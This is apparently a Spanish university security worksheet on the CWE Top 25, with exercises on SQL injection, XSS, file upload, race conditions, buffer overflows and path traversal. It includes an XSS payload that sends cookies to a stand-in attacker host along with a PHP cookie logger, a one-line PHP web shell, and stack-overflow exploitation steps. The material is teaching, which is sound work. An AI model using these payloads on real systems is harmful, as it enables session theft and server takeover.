GUÍA 10: SEGURIDAD EN APLICACIONES

Los 25 errores de programación más frecuentes y peligrosos.

Recopilados por la organización MITRE , los podemos agrupar en 3 categorías:

A) ***Interacción insegura entre componentes***: SQL injection, XSS cross site scripting, OS Command Injection, Information exposure through error message, Open Redirect, Race Condition, etc.

B) ***Manejo riesgoso de recursos***: Buffer overflow, path traversal, buffer access with incorrect length value, improper validation of array index, integer overflow, etc.

C) ***Defensas abiertas:*** Improper Access Control (Authorization), Reliance on Untrusted Inputs in a Security Decision, Missing Encryption of Sensitive Data, Incorrect Permission Assignment for Critical Resource, etc.

El listado completo, actualizado a 2023, con detalles y ejemplos se puede obtener de http://cwe.mitre.org/top25/ De todas maneras, en esta guía se verán varios de ellos.

Actividad 1: SQL injection

Sucede cuando se inserta código SQL dentro de otro código SQL para alterar su funcionamiento normal y hacer que se ejecute maliciosamente el código invasor en la base de datos. Mediante un ataque de este tipo, el invasor puede obtener datos de acceso restringido o ejecutar comandos en el servidor de bases de datos.

Situación 1.

Supongamos que tenemos una página Web de autenticación en la que pedimos una contraseña para entrar en una variable llamada **$passwd**. Posteriormente, esta variable se pega a una instrucción de búsqueda en SQL sin hacer ninguna validación; la instrucción es la siguiente:

Select * FROM ID_pwd where pwd = '$passwd'

Suponiendo que **$passwd** contiene el texto "**entrada**", esto se ejecutaría así:

Select * FROM ID_pwd where pwd = 'entrada'

Al no haber validación, un atacante podría modificar de manera efectiva la instrucción al inyectar caracteres de control.

1) ¿Qué sucede si el atacante respondiera con **'a' or '1=1**, en lugar de con el texto "**entrada**".?

Situación 2.

Asumiendo que el siguiente código está en una aplicación web y que existe un parámetro "nombreUsuario" que contiene el nombre de usuario que nosotros le demos, la inyección SQL es posible:

```
consulta := "SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';"
```

2) Escribe un código SQL que se pueda inyectar y permita que la base de datos ejecute la consulta en orden, seleccione el usuario '**Alicia**', pero que además borre la tabla 'usuarios' y seleccione datos que no están disponibles para los usuarios web comunes.

3) ¿Qué precauciones tomarías para evitar este tipo de vulnerabilidades? Investiga qué soluciones brindan los lenguajes de programación para desarrollo de aplicaciones web en este aspecto.

Actividad 2: Cross Site Scripting.

Está basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado.
El Cross-Site-Scripting es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado en los campos de entrada y permiten el ingreso y envió de datos sin validación alguna, aceptando el envió de scripts completos, pudiendo generar secuencias de comandos maliciosas que impacten directamente en el sitio o en el equipo de un usuario.
Las formas mas comunes de realizar dicha agresión es por medio de correos electrónicos, vínculos falsos o ataques directos a sitios no preparados para este tipo de ataque.

Situación 1.

Un atacante aprovecha la vulnerabilidad de nuestro sitio y publica una imagen de la siguiente manera:

```
http://www.mipagina-malosa.com/mifoto.jpg name="foto"
```

Pero a la vez agrega lo siguiente a dicho vínculo de la imagen:

```
onload="foto.src='http://www.mipagina-malosa.com/foto.php?
galleta='%20+document.cookie;">
```

1) ¿Qué almacenó en la variable "galleta"?

2) Suponiendo que el código de **`foto.php`**. fuera:

```
<? $galleta = $_REQUEST[galleta];
$file=fopen("cookies.txt", "a");
fput($file, "$galleta\n");
fclose($file); ?>
```

¿De qué manera queda expuesta la seguridad del usuario de nuestro sitio?

Situación 2.

Los sitios como blogs, foros y libros de visita, son los que mas fácilmente permiten este tipo de ataques, debido que en muchas ocasiones permiten el formateo de nuestro texto con etiquetas HTML y no validan correctamente el tipo de inserción que estamos haciendo.

1) Prueba en un blog de hacer un post como este:

```
<script>alert("hola");</script>
```

Si no te deja introducir el post, analiza por qué. Sino, analiza qué ocurre.

2) ¿Y con este?

```
<script>while(1)alert("hola");</script>
```

Si no te deja introducir el post, analiza por qué. Sino, analiza qué ocurre.

3) ¿Podría ejecutarse algo más peligroso?
4) ¿De qué manera el programador puede evitar esta vulnerabilidad?

Actividad 3. Cross-Site Request Forgery (CSRF)

Es un tipo de exploit malicioso de un sitio web en el que comandos no autorizados son transmitidos por un usuario en el cual el sitio web confía. Al contrario que en los ataques XSS, los cuales explotan la confianza que un usuario tiene en un sitio particular, el cross site request forgery explota la confianza que un sitio tiene en un usuario en particular.

1) Dada la característica de que este tipo de ataque explota la confianza de un sitio en que el usuario está autenticado, ¿qué ventajas ofrece al atacante y por qué es tan peligroso?
2) ¿Qué se puede hacer para evitar esta vulnerabilidad?

Actividad 4. Unrestricted upload of file with dangerous type

El software permite que el atacante suba o transfiera archivos peligrosos, por ejemplo un archivo que es interpretado y ejecutado como código por el receptor (ejemplo: una imagen que en vez de tener extensión .gif tiene extensión .php)

Situación 1:

En los entornos Unix, los programas no se ejecutan a menos que tengan el bit de ejecución encendido, pero los programas PHP pueden ser ejecutados por el web server sin invocarlos directamente al sistema operativo.

El siguiente código intenta permitir que un usuario suba una imagen a un web server.

```
<form action="upload_picture.php" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>
```

1) Considerando la característica de los archivos con extensión .php, ¿Qué problema hay con el siguiente código para upload_picture.php?

```
// Define the target location where the picture being
// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);

// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
  echo "The picture has been successfully uploaded.";
}
else
{
  echo "There was an error uploading the picture, please try again.";
}
```

2) ¿Qué ocurre si el atacante puede subir el siguiente archivo malicious.php?

Example Language: **PHP**

```
<?php
  system($_GET['cmd']);
?>
```

Actividad 5. Information Exposure Through an Error Message

El software genera mensajes de error que incluyen información sobre entorno, usuarios, o datos asociados. La información sensible puede ser valiosa en sí misma o ser útil para obtener otra.

Situación 1:

Dado el siguiente código:

```
$ConfigDir = "/home/myprog/config";
$uname = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ /^\w+$/);
$file = "$ConfigDir/$uname.txt";
if (! (-e $file)) {
  ExitError("Error: $file does not exist");
}
```

1) ¿ De qué sencilla manera el atacante puede obtener el path del archivo de configuración?
2) ¿Para qué lo puede usar luego?

Actividad 6. Open Redirect: URL Redirection to Untrusted Site

Una aplicación web acepta una entrada controlada por el usuario que especifica un link a un sitio externo, y usa ese link para un redireccionamiento.

1) Menciona por lo menos dos objetivos que puede tener un atacante al efectuar este tipo de exploit.

Actividad 7. Race condition

Una condición de carrera describe el error que se produce en programas cuando no han sido diseñados adecuadamente para su ejecución simultánea con otros. Por ejemplo cuando dos procesos están esperando a que el otro realice una acción. Como los dos están esperando, ninguno llega a realizar la acción que el otro espera.

Situación 1:

GUÍA 10: SEGURIDAD EN APLICACIONES

1) Explica cómo un usuario puede hacer un exploit de race condition sobre el siguiente código de una aplicación web:

Example Language: **Perl**

```
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();

if ($transfer_amount < 0) {
  FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
  FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");
```

2) ¿Cómo corregirías esa vulnerabilidad?

Actividad 8. Buffer Overflow. Causas.

El programa copia una cantidad de datos sobre un área que no es lo suficientemente grande para contenerlos, sobreescribiendo otras zonas de memoria. La consecuencia de escribir en una zona de memoria imprevista puede resultar impredecible, pudiendo en algún caso alterar el flujo normal del programa.

1) El buffer overflow puede darse por varios motivos. Menciona por lo menos 3 causas de buffer overflow.

Actividad 9. Buffer Overflow.

Los compiladores de c suelen tener actualmente protección contra buffer overflow. Los códigos siguientes probalos normalmente y luego con la opción -fno-stack-protector.

Situación 1:

1) ¿ Por qué puede producirse un buffer overflow con el siguiente programa?

```
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[10];
strcpy(buffer, argv[1]);
return 0;
}
```

2) Modifícalo para evitar el buffer overflow.

Situación 2:

Considera el siguiente código y analiza por qué puede generar un buffer overflow.

```
#include<stdio.h>
int
main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x \n", &buf, &cookie);
gets(buf);
if (cookie == 0x41424344)
      printf("explotado!\n");
return 0;
}
```

1) El objetivo de este ejemplo es lograr que el programa muestre por standard output "explotado!" y ver internamente como van quedando las variables y los registros en memoria. Para ello necesitamos saber dónde se aloja la variable cookie. Utilizando gdb, toma nota de dónde empieza el arreglo `"buf"` y dónde la variable `"cookie"`.
2) Escribe 80 letras 'A' seguidas de **tantas otras 'A' como bytes separen a `buf` de `cookie`**. Luego, escribe `"DCBA"`. (44434241 en hexadecimal, se escribe en orden inverso si el procesador es little endian; sino escribir en orden directo). ¡¡Verifica que el programa ha explotado!!

Situación 3:

Considera el siguiente código.

```
#include <stdio.h>
void function(int a, int b, int c)
{
      char buffer1[5];
      char buffer2[10];
      char *ret;
      ret = buffer1 + DESPLAZAMIENTO;
      (*ret) += INCREMENTO;
      printf("valores de a, b y c:%d, %d y %d\n", a, b, c);
}
int
main()
{
      int x;
      x = 0;
      function(1, 2, 3);
      x = 1;
      printf("Valor de x:%d\n", x);
      return 0;
}
```

a)Utiliza en gdb, **`disassemble main`** para obtener el valor de INCREMENTO como para "saltear" la asignación de 1 a la variable x.

b) Completa la tabla (verifica el orden en que fueron apiladas las variables)
Podés usar, en gdb:
`print /x buffer`
`print /x * 0xbf9f5ff0` (o la dirección que quieras evaluar) etc.

GUÍA 10: SEGURIDAD EN APLICACIONES

Al comienzo de la ejecución de function:

MAS BAJO MAS ALTO

	buffer2	buffer1	ret	Stack Frame pointer	retorno(IP)	a	b	c
Address								
Content								
Tamaño	10	5	4	4	4	4	4	4

Después de los cambios que hace function:

MAS BAJO MAS ALTO

	buffer2	buffer1	ret	Stack Frame pointer	retorno(IP)	a	b	c
Address								
Content								
Tamaño	10	5	4	4	4	4	4	4

Actividad 10. Path Traversal.

La finalidad de este ataque es ordenar a la aplicación a acceder a un archivo al que no debería poder acceder o no debería ser accesible. Este ataque se basa en la falta de seguridad en el código. También es conocido como el ../ ataque punto punto barra, escalado de directorios y backtracking.

Situación:

El siguiente código podría ser para una aplicación de red social donde la información de perfil del usuario se almacena en un archivo por separado. Todos los archivos se guardan en un único directorio.

Example Language: **Perl**

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
  print "<li>$_</li>\n";
}
print "</ul>\n";
```

1) ¿De qué manera el atacante puede tener acceso al archivo de claves de etc/password?
2) ¿cómo evitarías dicha vulnerabilidad?

Actividad 11. Integer Overflow o wraparound.

El software hace un cálculo que produce un integer overflow o wraparound cuando la lógica asume que el valor será mayor que el original. (Ejemplo: en una variable unsigned char, si sumo 255 + 1 da 0, cuando uno podría esperar que dé 256)

1) Escribir un breve ejemplo de una función que, al no controlar un integer overflow, efectúe una alocación de memoria incorrecta.
2) Escribir un ejemplo de una función que maneje mal un ciclo al no controlar un integer overflow.

Actividad 12. Allocation of Resources Without Limits or Throttling

El software reserva un recurso reusable o un grupo de recursos en nombre de un actor sin imponer restricciones sobre cuántos recursos pueden ser reservados.

Situación:

El siguiente código reserva un socket y crea un proceso cada vez que recibe una nueva conexión.

Example Languages: **C and C++**

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {

  newsock=accept(sock, ...);
  printf("A connection has been accepted\n");
  pid = fork();
}
```

1) ¿Cómo puede un atacante aprovechar la vulnerabilidad del código para generar un denial of service?
2) ¿cómo podría corregirse?